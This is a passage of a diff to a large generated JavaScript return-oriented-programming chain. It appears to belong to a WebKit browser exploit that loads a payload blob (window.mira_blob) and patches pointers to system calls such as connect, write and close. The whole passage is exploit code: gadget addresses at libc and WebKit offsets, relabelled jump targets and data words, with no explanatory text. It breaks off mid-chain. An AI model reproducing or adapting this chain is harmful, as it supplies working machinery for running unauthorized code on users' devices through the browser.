rdx, rdi libc_base+793877, //pop rsi -ropchain+183192, //L2902 +ropchain+182792, //L2885 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+183208, //L2903 +ropchain+182808, //L2886 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2902: +//L2885: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2903: +//L2886: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -19975,32 +19906,32 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+183320, //L2904 +ropchain+182920, //L2887 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+183304, //L2905 +ropchain+182904, //L2888 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2905: +//L2888: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2904: +//L2887: db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+183408, //L2907 +ropchain+183008, //L2890 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+183392, //L2906 +ropchain+182992, //L2889 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2906: +//L2889: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2907: +//L2890: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -20010,17 +19941,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+183504, //L2908 +ropchain+183104, //L2891 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+183520, //L2909 +ropchain+183120, //L2892 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2908: +//L2891: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2909: +//L2892: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -20030,19 +19961,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+183632, //L2910 +ropchain+183232, //L2893 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+183616, //L2911 +ropchain+183216, //L2894 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2911: +//L2894: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2910: +//L2893: db([0, 0]); // 0x0 -//L2898: +//L2619: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -20218,7 +20149,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -close_addr, +nanosleep_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -20258,13 +20189,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+184960, //L2912 +ropchain+184560, //L2895 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2912: +//L2895: db([0, 0]); // 0x0 -//L2701: +//L2881: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -20440,7 +20371,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -connect_addr, +close_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -20480,13 +20411,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+186288, //L2913 +ropchain+185888, //L2896 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2913: +//L2896: db([0, 0]); // 0x0 -//L2636: +//L2767: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -20662,7 +20593,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -nanosleep_addr, +write_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -20702,13 +20633,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+187616, //L2914 +ropchain+187216, //L2897 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2914: +//L2897: db([0, 0]); // 0x0 -//L2784: +//L2684: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -20884,7 +20815,7 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ webkit_base+5202439, //and rax, rcx libc_base+792472, //pop rcx -write_addr, +connect_addr, webkit_base+2997875, //mov [rax], rcx libc_base+793877 //pop rsi ]); @@ -20924,13 +20855,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+188944, //L2915 +ropchain+188544, //L2898 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2915: +//L2898: db([0, 0]); // 0x0 -//L2643: +//L2626: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -21146,11 +21077,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+190272, //L2916 +ropchain+189872, //L2899 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L2916: +//L2899: db([0, 0]); // 0x0 //_main: set_gadget(libc_base+793877,); //pop rsi @@ -21158,31 +21089,48 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+190344, //L2917 +ropchain+189944, //L2900 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2917: +//L2900: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+190408, //L2919 +ropchain+190008, //L2902 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L2919: +//L2902: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([2104, 0]); // 0x838 +db([2112, 0]); // 0x840 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+759626, //mov rax, r8 +libc_base+793877 //pop rsi +]); +//L2905: +db([4294967292, 4294967295]); // -0x4 +set_gadgets([ +libc_base+792472, //pop rcx +//L2906: +(window.mira_blob_len||0), +libc_base+547636, //add rax, rsi +webkit_base+954100, //mov [rax], ecx +libc_base+793877, //pop rsi +ropchain+190144, //L2908 +webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2921: +//L2907: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L2908: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -21190,8 +21138,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2923: -ropchain+190552, //L2922 +//L2910: +ropchain+190248, //L2909 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -21199,8 +21147,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+211328, //L2924 -//L2922: +ropchain+213296, //L2911 +//L2909: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -21208,104 +21156,104 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+190688, //L2925 +ropchain+190384, //L2913 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+190704, //L2927 +ropchain+190400, //L2914 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+190672, //L2926 +ropchain+190368, //L2912 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2926: +//L2912: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2925: +//L2913: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2927: +//L2914: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+190808, //L2931 +ropchain+190504, //L2917 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+190856, //L2932 +ropchain+190552, //L2919 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+190824, //L2929 +ropchain+190536, //L2918 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2931: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2929: +//L2917: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2930: +//L2916: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L2918: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2932: +//L2919: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+190968, //L2933+8 +ropchain+190664, //L2920+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+190960, //L2933 +ropchain+190656, //L2920 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L2933: +//L2920: db([0, 0]); // 0x0 set_gadgets([ -ropchain+190984, //L2933+24 -ropchain+191424, //L2928 +ropchain+190680, //L2920+24 +ropchain+191120, //L2915 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+191024, //L2936 +ropchain+190720, //L2922 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2936: +//L2922: db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L2934: -db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L2935: +//L2921: +db([1, 0]); // 0x1 +set_gadget(libc_base+206806,); //pop rdi +//L2923: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+191176, //L2938 +ropchain+190856, //L2924 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+191192, //L2939 +ropchain+190888, //L2926 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+191160, //L2937 +ropchain+190872, //L2925 webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi +libc_base+792472 //pop rcx ]); -//L2937: +//L2924: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2938: +set_gadget(libc_base+206806,); //pop rdi +//L2925: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2939: +//L2926: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -21315,17 +21263,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+191288, //L2940 +ropchain+190984, //L2927 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+191304, //L2941 +ropchain+191000, //L2928 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L2940: +//L2927: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2941: +//L2928: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -21335,56 +21283,56 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+191416, //L2942 +ropchain+191112, //L2929 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+191400, //L2943 +ropchain+191096, //L2930 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L2943: +//L2930: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L2942: +//L2929: db([0, 0]); // 0x0 -//L2928: +//L2915: set_gadgets([ libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+191496, //L2946 +ropchain+191192, //L2933 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+191544, //L2947 +ropchain+191240, //L2934 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2946: +//L2933: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2944: +//L2931: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2945: +//L2932: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2947: +//L2934: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+191640, //L2949 +ropchain+191336, //L2936 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+191624, //L2948 +ropchain+191320, //L2935 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2948: +//L2935: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2949: +//L2936: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -21393,19 +21341,19 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2950: +//L2937: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax -libc_base+792472 //pop rcx +libc_base+788575 //pop rax ]); -//L2951: +//L2938: db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L2952: +set_gadget(libc_base+792472,); //pop rcx +//L2939: db([1, 0]); // 0x1 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -21423,7 +21371,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2953: +//L2940: db([2, 0]); // 0x2 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -21433,17 +21381,17 @@ libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2955: +//L2942: db([4096, 0]); // 0x1000 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+191952, //L2956 +ropchain+191648, //L2944 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2956: +//L2944: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -21458,7 +21406,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2958: +//L2945: db([1, 0]); // 0x1 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -21468,17 +21416,17 @@ libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2960: +//L2947: db([2, 0]); // 0x2 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+192144, //L2961 +ropchain+191840, //L2949 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2961: +//L2949: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -21494,17 +21442,17 @@ libc_base+471355, //mov [rdi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2964: +//L2951: db([4, 0]); // 0x4 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+192288, //L2965 +ropchain+191984, //L2953 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L2965: +//L2953: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 @@ -21517,35 +21465,93 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax +libc_base+793877, //pop rsi +ropchain+192112, //L2956 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+793877 //pop rsi +]); +//L2955: +db([4294967292, 4294967295]); // -0x4 +set_gadget(libc_base+792472,); //pop rcx +//L2956: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+547636, //add rax, rsi +libc_base+793877, //pop rsi +ropchain+192200, //L2957 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+192216, //L2959 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+206806 //pop rdi +]); +//L2957: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L2959: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191169, //mov eax, [rdi] +libc_base+793877, //pop rsi +ropchain+192368, //L2960 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+192400, //L2963 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+192352, //L2961 +webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+192400, //L2969 +ropchain+192384, //L2962 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2969: +//L2961: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L2967: -db([131072, 0]); // 0x20000 +//L2960: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L2962: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2968: -db([131072, 0]); // 0x20000 +//L2963: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6227286, //movsxd rax, edi +libc_base+793877, //pop rsi +ropchain+192472, //L2964 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+192488, //L2965 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi +]); +//L2964: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L2965: +db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+192528, //L2971 +ropchain+192584, //L2967 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+192512, //L2970 +ropchain+192568, //L2966 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L2970: +//L2966: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2971: +//L2967: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -21554,7 +21560,7 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575 //pop rax ]); -//L2972: +//L2968: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -21562,8 +21568,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L2974: -ropchain+192680, //L2973 +//L2970: +ropchain+192736, //L2969 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -21571,8 +21577,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+212656, //L2975 -//L2973: +ropchain+217328, //L2971 +//L2969: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -21580,263 +21586,358 @@ db([4294967248, 4294967295]); // -0x30 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+192752, //L2976 +ropchain+192824, //L2974 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L2976: +//L2973: +db([4294967280, 4294967295]); // -0x10 +set_gadget(libc_base+792472,); //pop rcx +//L2974: db([0, 0]); // 0x0 -set_gadget(libc_base+793877,); //pop rsi -//L2977: -db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2980: -db([4294967280, 4294967295]); // -0x10 +//L2976: +db([4294967272, 4294967295]); // -0x18 set_gadgets([ libc_base+792472, //pop rcx -//L2981: +//L2977: (window.mira_blob||0), libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2982: -db([4294967280, 4294967295]); // -0x10 +//L2979: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+192952, //L2984 +ropchain+193008, //L2980 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+192968, //L2985 +ropchain+193024, //L2982 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+206806 //pop rdi ]); -//L2984: +//L2980: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L2985: +//L2982: db([0, 0]); // 0x0 set_gadgets([ -libc_base+191168, //mov rax, [rdi] +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+193104, //L2990 +ropchain+193176, //L2983 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+193168, //L2992 +ropchain+193208, //L2986 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+193120, //L2988 +ropchain+193160, //L2984 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+193152, //L2991 +ropchain+193192, //L2985 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L2990: +//L2984: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi +//L2983: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L2985: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L2986: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6227286, //movsxd rax, edi +libc_base+793877, //pop rsi +ropchain+193280, //L2987 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+193296, //L2988 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi +]); +//L2987: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax //L2988: db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6227286, //movsxd rax, edi +libc_base+793877, //pop rsi +ropchain+193400, //L2991 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+193448, //L2993 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+193432, //L2992 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi +]); +//L2991: +db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L2989: +//L2990: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L2991: +set_gadget(libc_base+206806,); //pop rdi +//L2992: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2992: +//L2993: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+193280, //L2993+8 +ropchain+193560, //L2994+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+193272, //L2993 +ropchain+193552, //L2994 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L2993: +//L2994: db([0, 0]); // 0x0 set_gadgets([ -ropchain+193296, //L2993+24 -ropchain+199616, //L2987 +ropchain+193576, //L2994+24 +ropchain+200256, //L2989 libc_base+759626, //mov rax, r8 libc_base+793877 //pop rsi ]); -//L2995: -db([4294967276, 4294967295]); // -0x14 -set_gadget(libc_base+792472,); //pop rcx //L2996: +db([4294967268, 4294967295]); // -0x1c +set_gadget(libc_base+792472,); //pop rcx +//L2997: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+193392, //L2998 +ropchain+193672, //L2999 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L2997: +//L2998: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L2998: +//L2999: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+193448, //L3001 +ropchain+193728, //L3002 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3001: +//L3002: db([0, 0]); // 0x0 -//L2999: +//L3000: set_gadgets([ libc_base+793877, //pop rsi -ropchain+193496, //L3002 +ropchain+193792, //L3005 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+792472 //pop rcx +libc_base+793877 //pop rsi ]); -//L3002: +//L3004: +db([4294967268, 4294967295]); // -0x1c +set_gadget(libc_base+792472,); //pop rcx +//L3005: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+547636, //add rax, rsi +libc_base+793877, //pop rsi +ropchain+193880, //L3006 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+193896, //L3008 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+206806 //pop rdi +]); +//L3006: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L3008: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191169, //mov eax, [rdi] +libc_base+793877, //pop rsi +ropchain+194048, //L3009 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+194080, //L3012 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+194032, //L3010 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+194064, //L3011 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi +]); +//L3010: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L3009: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L3011: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L3012: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6227286, //movsxd rax, edi +libc_base+793877, //pop rsi +ropchain+194152, //L3013 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+194168, //L3014 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi +]); +//L3013: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L3014: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6227286, //movsxd rax, edi +libc_base+793877, //pop rsi +ropchain+194264, //L3016 +webkit_base+7438103, //mov [rsi], rax +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+194248, //L3015 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi +]); +//L3015: +db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax 